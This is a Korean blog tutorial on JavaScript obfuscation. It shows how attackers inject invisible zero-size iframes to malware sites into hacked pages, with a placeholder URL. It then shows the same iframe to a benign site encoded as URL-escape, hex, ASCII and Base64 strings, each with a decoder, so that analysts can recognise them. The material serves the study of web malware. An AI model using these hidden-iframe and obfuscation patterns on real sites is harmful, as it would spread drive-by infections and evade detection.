[3] 자바스크립트 난독화 기초 2

난독화/난독화 강좌 2013. 5. 4. 23:58

[3] 자바스크립트 난독화 기초 2

 

1.      Iframe Tag를 이용한 악성코드 유포

 

1.1 일반적인 악성코드 유포 패턴

예제 1)

 <iframe src=http://[악성코드 유포사이트 경로] width=0 height=0></iframe>

  ①     정상적으로 서비스되고 있는 웹사이트를 해킹하여 소스코드에 iframe을 삽입

  ②     악성코드 유포사이트를 보이지 않게 하기위해 “width=0 height=0”로 설정

  ③     이런 악성코드가 삽입된 사이트를 위/변조 사이트라고 하며, 이런 사이트 접속 시

      사용자는 인지하지 못한 상태에서 악성코드에 감염

   * iframe Tag는 정상사이트에서도 사용하기 때문에, 있다고 반드시 악성은 아니다

 

1.2 해커 입장에서 예제1” 의 문제점

  ①    보안장비에서 패턴을 통하여 탐지 가능하다

  ②    보안담당자가 소스코드만 확인하여도 쉽게 악성코드 유포지를 알 수 있다

 ð  때문에 난독화를 통하여 보안장비 우회 및 분석시간이 오래 걸리도록 한다

 

 

2.      같은 의미! 다른 형태!

 

2.1.        동일한 의미를 가진 여러 형태의 패턴

예제 2)

 

ex 1)

<iframe src=http://café.naver.com width=800 height=500></iframe>

 

ex 2)

<script>

a="<iframe src";b="=http://caf";c="e.nav";

d="er.com width";e="=800 heigh";

f="t=500></iframe>";

document.write(a+b+c+d+e+f);

   </script>

 

  ①     ex 1) ex 2) 는 다른형태를 가지고 있지만, 동일한 행위를 한다

 

예제 3)  

 

ex 1)

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E

%3C/iframe%3E"

 

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d2077696474

683d383030206865696768743d3530303e3c2f696672616d653e";

 

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,

97,118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,

61,53,48,48,62,60,47,105,102,114,97,109,101,62";

 

   d="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ9

   NTAwPjwvaWZyYW1lPiA=";

 

 ①     a, b, c, d는 모두 다른 형태이지만. 동일한 의미를 가지고 있다.

 ②     예제 3)의 형태는 기본적인 형태이므로 보면 어떤 코드인지 알 수 있도록 해야 한다

 

3.      난독화에 많이 이용되는 기본 패턴

 

3.1.   escape unescape

예제 4)  

 

<script>

a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E%3C/iframe%3E";

s=unescape(a);  //-- a unescape로 변환하여 s에 저장

document.write(s);

</script>

 

## 결과

 cafe.naver.com 으로 접속 시도한다

 

 ①     document.write는 문자열로 html에 반환하기 때문에 iframe이 실행된다

-   문자열을 보고 싶다면, alert 이나 xmp tag를 이용하면 된다

 ②     a escape로 난독화되어 있기 때문에 unescape를 이용하여 복호화 하였다

 

3.2.   HEX Code

b HEX Code이다. Hex는 기본적으로 알고 있을 것이다. 하지만 해당 코드가 hex인줄 몰랐다면

익숙하지는 않은 것이다 

예제 5) 

 

<script>

b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d207769647468

3d383030206865696768743d3530303e3c2f696672616d653e";

var s="";

for(i=0;i<b.length;i+=2)

 {s+=String.fromCharCode(parseInt(b.substring(i,i+2),16))};

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

       위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.3.   ASCII Code

  c는 아스키코드이다. 숫자, 문자, 특수기호에 번호를 부여한 것이라 생각하면 된다

예제 6) 

 

<script>

c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,97,

118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,61,53,

48,48,62,60,47,105,102,114,97,109,101,62";

s="";

c=c.split(",")

for (i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);}

document.write(s);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

3.4.   Base64 Code

d Base64 Code이다. 전자메일에서 사용하는 64진수 코드라고 보면 된다. 

예제 7)

 

<script>

str="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ

9NTAwPjwvaWZyYW1lPiA=";

 var b64c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg'+'hijklmnopqrstuvwxyz0123456789+/=';

 var b64d = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4;

 str = str.replace(/[^a-z0-9+/=]/gi, '');

 for (var i=0; i<str.length;) {

  enc1 = b64c.indexOf(str.charAt(i++));

  enc2 = b64c.indexOf(str.charAt(i++));

  enc3 = b64c.indexOf(str.charAt(i++));

  enc4 = b64c.indexOf(str.charAt(i++));

  chr1 = (enc1 << 2) | (enc2 >> 4);

  chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);

  chr3 = ((enc3 & 3) << 6) | enc4;

  b64d = b64d + String.fromCharCode(chr1);

  if (enc3 < 64) { b64d += String.fromCharCode(chr2); }

  if (enc4 < 64) { b64d += String.fromCharCode(chr3); }

 }

document.write(b64d);

</script>

## 결과

 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)

 

  ①     위와 같은 스크립트를 이용하여 복호화 할 수 있다

 ②     예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다

 

4.      간단하게 디코딩 하기

4.1.   TRANSLATOR, BINARY

코드에 익숙해지기 위해 자바스크립트로 디코딩을 해보았다. 하지만 어떤 코드인지 안다면

아래의 사이트에서 간단하게 모두 디코딩 할 수 있다

 

바로가기: http://home.paulschou.net/tools/xlate/

 

 

[그림1] 디코딩 화면

설정

트랙백

댓글